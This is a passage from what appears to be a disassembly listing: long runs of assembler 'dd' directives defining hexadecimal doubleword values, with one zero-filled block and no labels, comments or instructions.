8133C86Ch dd 9B08DA81h, 1D0E1376h, 0F39032B5h, 0B0DBFB2Eh, 89105120h dd 122C464Ch, 61F8E07Fh, 0F54842CEh, 86AC3FA2h, 0ED283689h dd 2F2827AAh, 0EC1544Bh, 0A260CF72h, 0FE276230h, 34F0A72Eh dd 6CCBF4DDh, 89F2277Fh, 0EEB26A6h, 0E1CA7B0Fh, 1D61B8FEh dd 40C03F90h, 4D6E6753h, 1A389C3Ah, 0A556378Bh, 2580D62h dd 0BD3E13C3h, 6C01156Ah, 0B5841B9Eh, 7648B8C0h, 70CC23B6h dd 40534B94h, 57F749C5h, 0BD75E412h, 0B8DC83A4h, 210C84C6h dd 0E12B4A41h, 0E2E1F3B6h, 18E3808Dh, 0E16895E2h, 0DE1A02Eh dd 1110AF60h, 92C3C795h, 91280E4Bh, 0BB15BDEh, 0DBEC08D9h dd 35CBD8FFh, 0BEA4F595h, 0DAFD7451h, 0E6CEADC7h, 0A92058D9h dd 588CE08Bh, 1A9B3B7Eh, 0BAB40ADh, 0BD8849D7h, 0EF5897BAh dd 391FABBDh, 7D5578C6h, 0A4FC6384h, 0C1AA276Fh, 0CDBD161Eh dd 0EA200F1Bh, 6D0EDBB3h, 0A4FD515Ah, 96B2E020h, 9B5B4BC0h dd 0B61AD56Ah, 0E2C940A2h, 2024FB3Eh, 6F12h, 43B33F50h dd 0F4070039h, 0F5C495B0h, 768FD763h, 0EDBDA903h, 7BFC77AAh dd 7ABB3176h, 395E11E7h, 0E2CCE676h, 0C01D7F15h, 0D9DC0B2Eh dd 714F6026h, 0D9C53B7h, 0B7FCA2D9h, 3681D797h, 0BBB54CB7h dd 1C55F7BFh, 6D8DE83Ah, 4A14FB4Ch, 296E4DF7h, 0F9F97A46h dd 0B9687728h, 0C5841B87h, 8F4EAE1h, 8A8346DDh, 0F2AAD2B4h dd 45842286h, 3086B670h, 0A8BBF68Ah, 6C2050CAh, 4D5B8456h dd 980EF81h, 0F83E26C5h, 9317A309h, 1C267B2Bh, 9C7CD654h dd 3A3C5661h, 6EC098C2h, 5D63321h, 0CCB34FF2h, 56EF82B4h dd 33C807EFh, 0B9DDFDC7h, 19557827h, 653E3B71h, 69E0B8F5h dd 0B6643B7Eh, 2828EC37h, 93C96438h, 0C7D1E3D5h, 5CE63BF7h dd 0DCBC9694h, 7AFC16A1h, 2E0F1802h, 0C850CBE1h, 0F91D9FB7h dd 2D28C936h, 0FE0F3630h, 854A21FBh, 0FD4CD682h, 737A8699h dd 7162875Ah, 646C46B3h, 0D9506F02h, 8D593C46h, 9F847C7h dd 0F5D0ABCFh, 2E9155F6h, 0AFE82679h, 7BFC27BAh, 10BB0C5Ah dd 29708D26h, 4218A7F5h, 0D15ABBAFh, 37A1F42Eh, 0C6B08FFCh dd 4529DE65h, 0A788D7CBh, 5B822E01h, 31432FC2h, 0E6A88C29h dd 0A838173Ah, 0A556B38Bh, 6F501562h, 93DE66B9h, 91ED677Ah dd 0C5209F91h, 0A98B8FB2h, 0FEA673E6h, 0E9D9DD8Ah, 0D5F44BEEh dd 1B652054h, 4EDC83D8h, 0B5C7F832h, 0A5A47DB9h, 4BDC6A1Bh dd 10E14386h, 0E168951Ah, 373CBEC3h, 0AB41BF32h, 926C336Ch dd 8116C9BFh, 0FA3C58DEh, 0AC35CBFDh, 3DE6E3F6h, 3C4C265h dd 404B8BBEh, 19202128h, 82E32BA5h, 710DF98Eh, 95E1B27Eh dd 7A40BF10h, 8C6F009Fh, 0A5D2C6EAh, 692194DFh, 46D0EFA0h dd 3DC23553h, 0DE2862EAh, 4501019Ah, 60E93C32h, 6D0ED7B3h dd 5009665Ah, 9A74D406h, 4C8F0F82h, 4D4C2DE8h, 354747CFh dd 2524FE6Dh, 0CB78EA9Bh, 0A52FC306h, 61F82511h, 2ECE045h dd 69A9BB27h, 0EDBCB386h, 12AE528Ah, 955433DBh, 2AB2FC72h dd 4AFD94B7h, 459D7EFBh, 0ED341B6Ch, 99B0B64Dh, 0EA0182Dh dd 0E198AF0Fh, 663688FEh, 3E31D813h, 21A90A37h, 0E2380778h dd 0B35F5C01h, 0B4659C9Bh, 1A73EB15h, 816B7329h, 0ED4570D7h dd 53215FB1h, 93A554E9h, 2C5C323h, 67F54794h, 65BB54E2h dd 0CEC8D16Dh, 75451788h, 7C5384F6h, 8CBB2EB1h, 9D7C01E6h dd 0C52C5CB9h, 0FA94185Eh, 0F91007A0h, 0A2B7F006h, 2CA5ACC1h dd 5D49A96h, 9A3FC40Eh, 5CB04F3Fh, 3BA471E8h, 0F59889D9h dd 6D6C23E8h, 0F932EFCAh, 4087BD7h, 6EADD896h, 11059253h dd 0D6D80313h, 0F3FBC487h, 611648Eh, 322F001Dh, 64AB4EC5h dd 55E7A4A4h, 0BAFB6438h, 0BC63580Fh, 66C8AC78h, 3CA7C8A5h dd 0A7478839h, 2660DB8Dh, 1D61EC99h, 0BE07D319h, 0DADBFEBAh dd 61DB5CEDh, 0E2133D3Bh, 9B10478Fh, 1D2B5432h, 866FC183h dd 13503789h, 0C39BD855h, 85444DB6h, 0D6032772h, 0BDE49C89h dd 9C18F71Ah, 6127E6AFh, 63599FD2h, 699C53A5h, 4403F575h dd 65F4F986h, 0AFE2A6B6h, 761BD57h, 22DB9235h, 0EB9FEB0Eh dd 5F8E7C5Eh, 0E82CC8C7h, 52BBE265h, 86731B9Eh, 69808FA4h dd 3B492CB6h, 77D8B7D9h, 1AF617ADh, 59F36386h, 0C59F18E6h dd 9168A7F7h, 0B20741Eh, 3480EF91h, 0BD4C63B6h, 0E2DB5375h dd 0FEDF2B4Eh, 0F910BFEAh, 856D25E5h, 6ED748A2h, 477856DDh dd 67E34FE2h, 3DCC8275h, 41DC1619h, 2A4A1046h, 63B210BDh dd 0E1CD325h, 614A87AFh, 0A7EF3B7Eh, 590A245Ah, 0D9DFC27Dh dd 0A4535789h, 7F1DA38Dh, 395576F2h, 2EFC6384h, 0D150EBA0h dd 14049A1Eh, 16C6B1DAh, 0FFD993C9h, 0B0582763h, 16C1FB4Eh dd 0B3704FBBh, 1595ED46h, 15A09332h, 0A0DB04D8h, 4B9460C0h dd 88DD21C5h, 61E86E7Eh, 70234E25h, 79800626h, 0ECBCB386h dd 945F05DEh, 855462DAh, 2960CF71h, 188D6F03h, 0C108CE9Eh dd 0AECBF4D1h, 14319529h, 0D8C6A22h, 0F988C78Ah, 65E4BD96h dd 0CFA876D2h, 52C83D6h, 0DEDE41D2h, 0C99161F1h, 0BF506F5Bh dd 9400D9C2h, 0D4E0677Ah, 0C59422E2h, 0EC576F50h, 0FDDC1A32h dd 81D8B7D2h, 0A874429Bh, 59E0E67Ch, 3A19E7E7h, 21F1834Fh dd 0A5A47BBEh, 899B9B9Ah, 8D553F2Bh, 510CD27Ah, 4C2996CEh dd 8D15BF32h, 1381B3A1h, 9428B713h, 803345AAh, 0A9F07676h dd 2D8CE3F6h, 0FC187EEEh, 0D5A4B2D2h, 9AB96840h, 9D5E1783h dd 0D7E0470Ah, 0D9BC48Ch dd 0B6BF5211h, 0DDAE72BEh, 0DD251CBAh, 36947BCCh, 0A9927F7Fh dd 0D1A79BC6h, 55E71815h, 4504994Fh, 0AB58BAB9h, 23C7A326h dd 0E9863466h, 6A8B3632h, 0DB4BDD8Dh, 7DD1366h, 0B148E76Eh dd 77DA70DEh, 9D7A6C44h, 0EAFCB915h, 71C1D37Fh, 0F5D4ABCEh dd 0F0844A82h, 0FDFE7B3Bh, 811DAAAAh, 0E444B67h, 3970A7FFh dd 0EAA89076h, 0C11293A3h, 5581862Eh, 6AB08FD2h, 0EE9CE203h dd 62C3488h, 75DD3F7Bh, 0C9C02FD2h, 0F3A88CF6h, 0DE38173Ah dd 64FCC37Dh, 0B2AF808Fh, 0BD3E4BD3h, 5EBAE26Ah, 0C584831Ah dd 111504B2h, 76CC33F4h, 0CB59A790h, 15F42BCAh, 51BAF4E2h dd 4EF9195h, 0ADC75C9h, 0B5B41333h, 610D6492h, 0EF6C5386h dd 0C5445C2Ch, 653C8ECDh, 7A10BF32h, 6D3C5BA1h, 0EBA3A72Ah dd 0D8EDAD6h, 5E67B8F1h, 7F00667Dh, 0C46F778Ah, 0D5A4B22Ah dd 19301F02h, 95EBD152h, 58043509h, 21D1B24Eh, 0C240BF10h dd 0EDAD2B25h, 983C124Dh, 35D46B9Eh, 0BBA4FFE2h, 0C5AD6B31h dd 2E171BC1h, 46087047h, 9B0B2741h, 8E1AF23Ah, 8C0168FEh dd 854D5BDBh, 11CDD682h, 0BE5C0324h, 0BE16D8EEh, 0A2A9690Fh dd 89006E2Dh, 246E562Ch, 678D57EAh, 0A3AC79A7h, 0F0F62D96h dd 0CA545AD6h, 4B57D870h, 864811D5h, 0AC97DF38h, 0BD1C5AF2h dd 0E118F71Ah, 20314AA3h, 5D3D16D1h, 0E9C43E4h, 0E198AF0Fh dd 0D4338FEh, 0C9C02FD2h, 0D404C0FDh, 213844BDh, 0F5911C0Eh dd 38506F5Dh, 0D97CF346h, 592BA06Dh, 6524BB3Eh, 50240A45h dd 0FDCC23A6h, 86ACA7DAh, 0E2AFA3BCh, 0D2AA20FDh, 0DD9E576Bh dd 0B8CDE4CAh, 0A84F53F5h, 4B406219h, 9F8F4386h, 0AAF3D491h dd 0F1D1DC66h, 0FA10AF1Bh, 193C3306h, 59AD2C3Eh, 6C4CB9Ch dd 0B9A2FF7Fh, 9109E0F6h, 409867D8h, 0C5FE00A6h, 5B4C9AC9h dd 0C725D336h, 0F80B3402h, 0A7653334h, 11232C42h, 59298856h dd 0C9B887F8h, 3594421Eh, 0E0D8BDE3h, 0A7AC30C7h, 0C1D1657Fh dd 0C1816C1Eh, 0E9201F0Bh, 96CA336h, 69D5345Ch, 2374DB7Eh dd 5DF5A882h, 4D5C035Fh, 0C448854Ah, 0D2E2052Ah, 9939EB97h dd 19ECC316h, 0EBFE22FAh, 0E5ED287Bh, 0FD15C8A2h, 0EDBCA3BFh dd 64A827EAh, 8743D155h, 0FF6265B0h, 0B4E79494h, 32AF090h dd 0B7E20984h, 0FD62AC35h, 82F8712Dh, 4C0B9F88h, 65F4F9A2h dd 764420D2h, 0A2D37C2Ch, 317A6F8Fh, 781140Eh, 0C6506F5Ch dd 0BD3E87F3h, 77FD986Ah, 48840BA0h, 79E2EF3Fh, 9559AEB6h dd 0D0D8A798h, 0EAF421BCh, 49B283B7h, 6B496CE6h, 0CEC817F4h dd 0B5E6270Bh, 2F151092h, 106C53A8h, 0F1399FCFh, 2DE1D44Eh dd 0AF10AF60h, 539EA6F9h, 34ABA73Ah, 5D49982h, 0A9088CF2h dd 608CE3F6h, 0AC1976F0h, 0D5A4B321h, 0D83FEF1Ah, 9D0953A3h dd 0B2C8C20Ah, 159BF3FDh, 0C9C56E5Dh, 1EAC1343h, 8BB88787h dd 53881E8Eh, 0B5F48363h, 3E8902AAh, 2E2C0F8Ah, 407164E1h dd 16DABADAh, 829E4BC9h, 2F39C8A5h, 0C30CE691h, 0FCC84DB6h dd 2D5C1366h, 4EB722A2h, 0AE1D8EC1h, 4304B56h, 0DAD8BA3h dd 69A8DCFAh, 0F3EE2AA8h, 2FB54CA0h, 12BCB3EEh, 7B6CACAAh dd 7A14095Eh, 395E3DE7h, 0B5C8E076h, 0FE44C99Bh, 56415711h dd 71B45941h, 0F263A9C4h, 0E77B862h, 0DD27DA01h, 0C9C02FA6h dd 7294323Dh, 0C938173Ah, 0B514EB13h, 81505FA0h, 0AD7CF376h dd 51687782h, 0C5A0D99Eh, 69A10A0Ah, 0FDCFCBB6h, 0AD1AB7DAh dd 31A0C6EEh, 0DADE120Eh, 0D4A0931Eh, 31C8EFAAh, 0F12F7BBEh dd 82DDDFB6h, 0FB81C28Ch, 978C743h, 8AABCBA9h, 0F9147D43h dd 6F3D3505h, 520EA02Fh, 0C5C8E147h, 9D47BA51h, 4A3FB3F4h dd 159Ch dup(0) dd 62616047h, 8A69EF63h, 3101F163h, 0F96D6C9Dh, 729AEFF7h dd 9AD1FF73h, 7A5AF97Bh, 0F28D7C7Bh, 320AD9AAh, 8685B64Eh dd 0B30C1011h, 46168C8Bh, 9291C25Eh, 0A7D8D13h, 1F31239Fh dd 899D9CC4h, 2639A3A8h, 31A5A4CCh, 0C534AA02h, 2F953700h dd 87B5D41Bh, 37B5B55Bh, 0CAC9BDA4h, 0E23947BBh, 52764DC3h dd 7FC5D4FCh, 0CAC9C895h, 80B570BEh, 5DD1D0CFh, 0D680BC9Bh dd 9B04D8D7h, 0DE1A554Fh, 59E1E0E0h, 0E6C86555h, 6BE8E7D7h dd 56413A66h, 0FA656358h, 0F7F5DF74h, 0E96EF8F7h, 4100BF86h dd 7A518B3Bh, 563D8569h, 0DF27D4Ch, 2E7F97DEh, 15295A9Ah dd 19C26506h, 929A7EDAh, 936D901Dh, 2799A128h, 8A668792h dd 140B2D9Bh, 57551784h, 0A4BC543Bh, 29388D57h, 883DEF46h dd 4159B6C6h, 0C975CB3Ah, 0CBD23746h, 4A595986h, 379DD7B1h dd 52518537h, 0E19D3F53h, 6A92DCDCh, 5E5D815Bh, 81D5705Fh dd 6A89E0EEh, 0A3F11DF4h, 0F91A6C7Bh, 82B33C0Ch, 1191F73h dd 8ABB4C34h, 4E32077Bh, 0DF8190C1h, 49B69346h, 43DC6339h dd 8E8DB4D0h, 0A2C16A1Ah, 751B67BDh, 7C6F1ED7h, 0F860F790h dd 0F0A1A076h, 3FCA9409h, 929E18B1h, 0D0686488h, 0E9AF3FFFh dd 1DE7Bh, 0B06AF84Eh, 9E02009Ch, 0DE5410Dh, 6AC4CEF3h dd 0FFAD2192h, 55742EC1h, 70393E48h, 1097B548h, 7C42A7BEh dd 0E4022158h, 43B3921Dh, 3B9E409Ah, 529A59C0h, 0F86B7052h dd 70B9234Fh, 9412005Bh, 439C8F63h, 7A30F7CCh, 6DF1B0F4h dd 11C437D8h, 0B08DE063h, 0E0E84F1Fh, 5C7E2102h, 0CEC32DD5h dd 356B60AEh, 50030D01h, 0FDF125B3h, 93864098h, 3D6D4553h dd 4F4B8014h, 60AEA015h, 0B566C0C0h, 0B025758Ah, 0D820835Ch dd 0F0D1B0BDh, 0DCA47E25h, 316DD034h, 0AA9CD0Bh, 0FD8620D2h dd 1067CD74h, 451A196Bh, 50E3F6AAh, 6569C069h, 0DB8F4069h dd 62735517h, 0F8EC80F4h, 9CFD2F6Bh, 87C7C0A0h, 0F06F74A7h dd 500BC33Dh, 69B9A09Ah, 0A0C90E53h, 5EB1B826h, 0D0F18074h dd 727F955Bh, 50BCC000h, 0AE9BE45Fh, 0DD3E00ACh, 31A08Dh dd 0F9CABB48h, 30BDDCFBh, 0E00BE563h, 0DDD62042h, 1097D244h dd 0CE7CC59Bh, 0D763649Dh, 0DF994A16h, 255CE9F8h, 303DCB41h dd 0CCF2EB45h, 32B9D729h, 28EAC42Dh, 0B066603Bh, 2ABD8D29h dd 0AC84A0CAh, 8B8FBD48h, 309F4FF2h, 0D081EFC4h, 70112138h dd 6807C05Ch, 0B0D660AEh, 6A0D8DF9h, 30F6A05Ah, 8E3DBC9Dh dd 3077E0E6h, 0D05B2884h, 70032086h, 0C303588Fh, 18956184h dd 5094006Bh, 12173583h, 86874018h, 237DE156h, 0E0CD8E17h dd 701E48F2h, 0C110C040h, 56B5608Ch, 5662D9DCh, 7D30AAC0h dd 908F06E2h, 0AFB0B1DBh, 0E01DAEBFh, 0EC882062h, 10D7C2BCh dd 0B02566A6h, 149F464Ch, 0D3C16CD6h, 0A0F91273h, 7AAA5D36h dd 0BFAB7079h, 0B2A6AD19h, 0A147D006h, 0BD6DF370h, 0CFE300BEh dd 0F52B5h, 147A4058h, 30CDE2A6h, 0AD9FD6Dh, 40B82032h dd 373C378Fh, 37057016h, 40255AAFh, 0F1119F7Ah, 7907BD4Dh dd 0ADC8E026h, 0D07B962Ah, 0E3DAB0ABh, 0D77Bh, 0F6EADB4Eh dd 2FC3109Ah, 0F1E2DFF0h, 0B96BBDBDh, 0B538E076h, 0D00B56A6h dd 0C158297Fh, 491C376Fh, 18E570B5h, 50330164h, 13C95DD5h dd 4B4640B8h, 89ABE04Ch, 4F67D091h, 30932331h, 663A29E1h dd 353DFA2Eh, 40B0E32Fh, 0F0EA19CAh, 94BC4018h, 0E3842E19h dd 5D721E61h, 70296D06h, 6719C050h, 57C12721h, 0C5981CFEh dd 0F071DD0Eh, 8E289EECh, 0EE803BF0h, 5718E226h, 8899CAC6h dd 10E73294h, 0B0CF1C93h, 50693CE5h, 0F0D1A042h, 61DFDA00h dd 733AF4h, 0AEDED01h, 0EF3120D2h, 0ACBF806Ch, 37A560ACh dd 0D7F32A00h, 46018AD6h, 0DE8D1A68h, 9485E08Ch, 762B8056h dd 73D35152h, 0C23C27F0h, 0E31570C0h, 5B967D13h, 0F0B2A70Eh dd 9054B5D8h, 0A94DD016h, 0D09B84DDh, 0D3C0F47h, 37558Fh dd 2DFA606Eh, 50C30CEEh, 0BC718043h, 0BB456072h, 627355B7h dd 908880D4h, 84DB58Bh, 10A7C135h, 0B0F571B6h, 94A0D31Ch dd 0B66428Dh, 8238D268h, 0CBCA3C1Dh, 0B8C680B7h, 70C92552h dd 4EE32DB5h, 1D4C604Eh, 50A3F6AEh, 0A961F8Bh, 0A64F305Eh dd 0A39F7A76h, 0E0ADAE37h, 71517912h, 27FAC060h, 8CC9D94Dh dd 0C5D64F50h, 0F0619ED0h, 353ECEA9h, 301DEFF0h, 4B262C34h dd 60B79EF5h, 0A4373DD0h, 82C82678h, 0EBB5B270h, 0C6E9C40Eh dd 0BB459A08h, 409356E1h, 48BFDA4h, 0E831934Eh, 1F67C03Bh dd 86D8F1D5h, 6B2D7DD3h, 0DEA6A03Ah, 0B4C3C4F7h, 0DF1F3363h dd 91BC6808h, 70892E03h, 42278C60h, 5FF5B04Dh, 2AB58D69h dd 0B046A08Ah, 3B0A0C3Fh, 0B365C422h, 0E06E8E07h, 75BEC8D2h dd 0DBF627C5h, 0A09B46D9h, 0D165EBBCh, 0F03288CEh, 258A6F58h dd 30DDEEC0h, 0A35ED21h, 0B0C22032h, 10726799h, 16053AB4h dd 7653AA2Ch, 0F0A2087Ah, 0D46640C4h, 966DE0ACh, 8BC70B60h dd 9301D690h, 1F27C02Ch, 0C31FF815h, 0C54877D9h, 0F001B539h dd 6090F1EAh, 22975507h, 947A80E4h, 33C46342h, 106F8898h dd 0B0E592E2h, 50330635h, 0F081A059h, 90CF40A8h, 301DE0F6h dd 0D06BA9C8h, 70B92092h, 0DB368EAFh, 0A05B5299h, 0FCFCAB7Ch dd 1786604Eh, 0DFED6FAh, 40A6ADD1h, 653E32B4h, 70193E88h dd 0CE433DC7h, 9A5D60AEh, 9C1300ECh, 0DD4C0F93h, 291D7038h dd 8DE1F900h, 0F1755DC9h, 0B13EB55Eh, 858210C0h, 0B0254E1Ch dd 8E537DE3h, 3494A0BAh, 75EEE13Ah, 0CD9241F8h, 3659C778h dd 0BF1D0345h, 3FCB8ED4h, 0B091C399h, 0DE3F3378h, 0F0EF8536h dd 0B1B412A9h, 199B85A2h, 0D06CDD60h, 11DE320Fh, 69899DCCh dd 0D14A0592h, 3A0C702Ch, 0AFB1E1EBh, 4A05DAAh, 533F9081h dd 0BF0A1D15h, 3EAC2001h, 0B56BE1ABh, 131A452Ch, 78FF9D00h dd 0CC8205C8h, 355D8348h, 7C1AF435h, 0F1E852FCh, 7E9C2096h dd 0F53B215Bh, 540C7FFAh, 0A0A7DDC4h, 2449257h, 682ED057h dd 0ED2D3417h, 24A7A9BCh, 0D16EF28Ah, 29D9C04Ch, 99B1C5E2h dd 0FB5F1DB7h, 5C349987h, 0A9231503h, 0EA9D85C9h, 9C88DD96h dd 112B4239h, 5387A912h, 0D99314C9h, 24645D68h, 8E1AD23Eh dd 0FFE44CE3h, 4D4CE0A5h, 0BC343E68h, 36025325h, 0B5BAC0EBh dd 145E268Ah, 7D3CCC4Fh, 0CDA8A01Dh, 348A75B4h, 785AFC81h dd 0FC276643h, 0AB19E1D5h, 0F59B2C9Bh, 59739071h, 0B1C5DD08h dd 0F09245C5h, 6473DDB5h, 1D3D61h, 11D38CF3h, 0BCAEE762h dd 1F455D5Eh, 0B0FBBF25h, 2BF1D11h, 497492BDh, 0B854164Dh dd 0D1CE0F5h, 7CBEAED8h, 295E4D85h, 5E329E36h, 0D9E10111h dd 50A466A9h, 8C52CF46h, 0FE1D591Ch, 71C6B205h, 0C07C45F4h dd 3B4E8974h, 0A9F9DE45h, 0F30545C2h, 92759D7Ch, 0A5060C51h dd 29DF90E7h, 307E07A8h, 0FA6850A1h, 8FF8B202h, 10B633DBh dd 4F8C927Eh, 5F32F33Fh, 1EFA66D8h, 605FCCC9h, 0CD503F94h dd 0FEEA9345h, 0BCD105ECh, 247C9370h, 8D39B978h, 0DEFF2C4Bh dd 5CB682F1h, 90901383h, 0EA298543h, 0A408E41Bh, 709E4DB9h dd 756C94B1h, 0C908603Eh, 3DC06CEDh, 8D9EC99Eh, 0E9815744h dd 59D9C53Ah, 0A5DB1DCFh, 408A8DACh, 0A31CD97Eh, 190346DFh dd 82139DD8h, 0DD551291h, 2CF09427h, 30E0FFEAh, 4A452D9h dd 8432E655h, 0E431C01Bh, 3DCF84CDh, 9E53EC8Dh, 43A5641h dd 7F04DF13h, 0CD983FF2h, 446D8072h, 0D12EF21Fh, 29995DFCh dd 72A5C5A2h, 0F5414360h dd 40E69439h, 0B5AE17DAh, 0F2DD73A3h, 7539C358h, 20DE34F1h dd 75A697D2h, 0C852137Bh, 0F0F463Ch, 9CD2C5F8h, 0EFA473B3h dd 5234B972h, 8F074674h, 3CCA85D0h, 0B5660DABh, 1337304Ch dd 5FE29D0Dh, 0A595EEFAh, 29419067h, 8A04F731h, 4EA5D15h dd 7077CF99h, 0E0722C36h, 59337E29h, 9A43DDC8h, 0D616F9Eh dd 6B2DF05Eh, 0DFE04523h, 3592A7A8h, 0BC87208Ch, 2AFC7025h dd 7CC8C50Bh, 509527B3h, 5E519494h, 0AFF40C0Dh, 1EC696E2h dd 7C8CCD98h, 316455Dh, 4A87A912h, 0CDA231BAh, 3A6C796Eh dd 8503CF2Ch, 0EBD84CF7h, 577494B8h, 9A5B2657h, 49FB5716h dd 0A9C9DDDCh, 1172548Ch, 7D30C558h, 0F0DA1213h, 658B8CDAh dd 9360F968h, 4FA5D48h, 8BB7C9E0h, 0EAA8178Ch, 3C68795Bh dd 0B3E5E90Eh, 3184772Ah, 7E80CCA9h, 301D3552h, 3FCEA4F5h dd 0CFA8F3C5h, 104B5D89h, 92FBBF1Bh, 50BF23EFh, 487585BBh dd 0AE43134Dh, 15FE7E1Dh, 75B980E7h, 0FFF9366Fh, 102B963Bh dd 0D7F8FFFBh, 19E36C9Fh, 9E56D464h, 0CF135D3Eh, 4DC0BFFAh dd 0B46D21ACh, 2969856Eh, 9EDCEC26h, 0EBB145C0h, 7B92AC8Fh dd 0CF060E54h, 5FD39DF4h, 8D8901C2h, 45D4964h, 8DF7B215h dd 0F5B7F7ECh, 7975A1B0h, 9E20EC4Ah, 23E54504h, 65B9DDC8h dd 306E3C94h, 3527A60Bh, 0BCEE0EF0h, 34785DA2h, 8D39B978h dd 2EF410Ch, 1FCA7019h, 0CC9356DAh, 0D4FE02Ah, 7BFFC329h dd 0D7445BFh, 7535C087h, 0CD251F47h, 29C04BEAh, 0F0B2D88Dh dd 0E1625D4Ah, 69FFC531h, 0C5AF210Ah, 317165A5h, 0B31C1250h dd 0DAF145EBh, 75A0A4CBh, 0F022187Dh, 26A15356h, 0B7AB16D4h dd 1E4C6A58h, 9AA1B2EBh, 0CE174DA5h, 0ECB060FEh, 804DCEB2h dd 0F821DF7Ch, 0BAA9AD8Dh, 6CF0E036h, 0D8F9B6A4h, 3742ADE2h dd 28A8F849h, 18A5607Eh, 4F0F4457h, 0EDEBA030h, 0A6DEF0B7h dd 215BB1h, 0A45B2C7Dh, 1ECA60F8h, 0F23C27F1h, 2F1570C0h dd 0C5960480h, 0F0A19E64h, 4FF7FC59h, 25B95599h, 19CA8084h dd 489B20E8h, 1025C0E0h, 0E156A4E3h, 8103C016h, 30A4B8D0h dd 8A456C50h, 0E2A6F66h, 4F0B70B2h, 1E4C00F6h, 79B280FBh dd 689F178Ch, 830242FDh, 0B1F9DF57h, 8BAA47CDh, 302D8582h dd 0BC93B054h, 0E7C92070h, 87175A9Ch, 98A5BA82h, 50A3008Ch dd 4653A270h, 0BE6B1828h, 30C7E076h, 0B9BB373h, 6067D6A5h dd 0DBC08760h, 0A0DB4619h, 24D67DFCh, 68FE2B39h, 6FBF3083h dd 309A5DDAh, 0CF5B7044h, 0B3DC57B1h, 4E7C3B82h, 35457050h dd 507B5AF9h, 530C88BAh, 15A6073Dh, 306DAE1Ch, 0B9E6071Fh dd 563120F2h, 8702A725h, 0A07B2609h, 7A8685DCh, 8851A001h dd 0FBEA477Fh, 22B7653Bh, 90B88024h, 0E30640B6h, 10D799B9h dd 38B54A6h, 7EF08B69h, 6DC1B064h, 0D060CA8h, 304698A7h dd 0A4E6884h, 0AB74BF0Bh, 0E8FC0365h, 0B095606Eh, 4C088197h dd 0DF31B00Fh, 3304B59Fh, 81CDD088h, 0A06C31C8h, 0DDB85171h dd 10C7A642h, 83E16457h, 4025DE9Fh, 0EC63FD7Ah, 90476DC8h dd 853DE016h, 0E742E5E3h, 0F3F320C2h, 0F7194D73h, 5EA5603Eh dd 50DF20E7h, 0AC94A0C0h, 1522DE3Ch, 30BDCBAAh, 55B6608Fh dd 70391BDCh, 10BDC08Ch, 0A63F2391h, 503CA844h, 2E0EA05Ah dd 49F9DA87h, 19E0F061h, 0E02EC0B7h, 683D2592h, 859082D8h dd 0B0454F6Eh, 562E271h, 0F0F1A022h, 6DC06518h, 309DCB01h dd 0B97F52Dh, 34AC20F2h, 0B77B82Ch, 0B0C5091Ah, 583781ECh dd 0BC61A038h, 90B03C30h, 0A66A6FD6h, 574B70F2h, 4C1DADEEh dd 10E7C1BCh, 0D8357ABEh, 50830060h, 0F003727Ch, 82944725h dd 1F6DD008h, 0D44605CBh, 0A10920E1h, 41555ADFh, 0B07D61A4h dd 0FE3300CCh, 120335A3h, 15214078h, 987420h, 0D127E838h dd 73D02052h, 0EE7DC0Ch, 1DDC60EEh, 5073375Eh, 9C7125D1h dd 0E0F3E3C6h, 3037149Bh, 0A2E63146h, 7273955Bh, 9590C000h dd 0DAD5559Eh, 2AAD8D89h, 0BBAEA0EAh, 26427284h, 0BB420852h dd 0D00B81E8h, 8619F3D7h, 0A7B60990h, 6025B0FEh, 7E93D0ECh dd 0D25B3513h, 0D46040A8h, 302DE2FEh, 0D8578C41h, 73BB95FBh dd 9BE6C0E0h, 0A08C72C9h, 54F1558Ch, 0E6FF20DAh, 7114113h dd 408A64E9h, 5DD463C4h, 604920A5h, 4238C360h, 7051B23Fh dd 51368809h, 6C80A04Ah, 90BF4188h, 5D47EE66h, 0ADB3E44h dd 712D2F82h, 90F7C0CFh, 81728050h, 80658132h, 0DDA8EEF1h dd 0D2EABBCAh, 5744E190h, 0D02131E2h, 0F3ECD6C1h, 42BACBh dd 0F180A98Eh, 50567DE9h, 6DDEA02Ah, 908F26F1h, 3415E05Ch dd 203B8014h, 66FE7F8Fh, 0DDD7D0B5h, 0B0256002h, 50067D59h dd 0A1EAA09Ah, 110F40E8h, 0F90F9058h, 352887BAh, 0EFF920D2h dd 1CF3B8DEh, 29115F71h, 6CE300BCh, 44C4D52Ah, 157A0A6Ch dd 30CDE01Ah, 0F03B854Fh, 91764022h, 0A5EBDD2Dh, 0D0E9FCCFh dd 6AD4B47Fh, 0DC09C0C3h, 11E08DF4h, 668DE3B8h, 0F858A741h dd 7088E774h, 7DF1F5h, 0BB756067h, 0C5B6D2BEh, 0F0019E40h dd 608F8009h, 39D510B6h, 14FB80D4h, 0C4E7F70Bh, 107B61C5h dd 0C3EFF5EFh, 90B000FCh, 0A974D6EEh, 7B93BD2Fh, 184EE006h dd 506B8244h, 208F51E1h, 1B014D05h, 1DCA601Eh, 50B31B19h dd 0BC3A939Ah, 0E16D7047h, 7E1A2F15h, 53DB70A2h, 0DDF84406h dd 1087A62Eh, 3545A396h, 50030DC1h, 0C6A49939h, 0BBB09A87h dd 2CD06FC3h, 90C86D31h, 178CDA66h, 7369039h, 35F9B00Bh dd 409843CFh, 0E46B2BAAh, 71F40F7h, 306ED8BCh, 0F7E38394h dd 278400A7h, 24B81E81h, 0FD07A779h, 9372E6F5h, 0A4CC7313h dd 0E063BBB5h, 19D7A82h, 0BAEEA36h, 60A7C6E5h, 36543BA0h dd 2F1570C0h, 9B4A0480h, 2BB84907h, 68FF5AD5h, 2F145926h dd 92CE33B5h, 1EAA57F6h, 0A98404CBh, 0FF1C523Bh, 8CDF9E19h dd 0CC8F09ABh, 5C5E8F6Dh, 9E0FF553h, 22D76607h, 898CB295h dd 0D5631655h, 53099026h, 50B1DDCEh, 0B6341BEh, 6B17CC53h dd 2E2D3413h, 25CB8054h, 0C0F9AF70h, 290F5742h, 7EBE7EE1h dd 0FC941FADh, 23A9879h, 0CA4F1418h, 50E8A3ADh, 887ADDA2h dd 0FD2F373Dh, 55B68D5Ah, 0F6AE40DCh, 70654949h, 9E1AD66Ch dd 0E5B54DE4h, 300DE03Eh, 3DDC3534h, 70991EEDh, 5AA3D8Eh dd 8345602Eh, 4065B6DFh, 0F34961BAh, 9A8544B4h, 628B35CBh dd 3CF48094h, 46CE0E2Eh, 5B41419Eh, 35989581h, 40363A57h dd 0EEA72B2Ah, 35819DA5h, 285D6539h, 55AE8024h, 70793814h dd 961939FAh, 78B9E82h, 9B51019Bh, 11E9702Fh, 0FBA87E1h dd 2C65C41Ah, 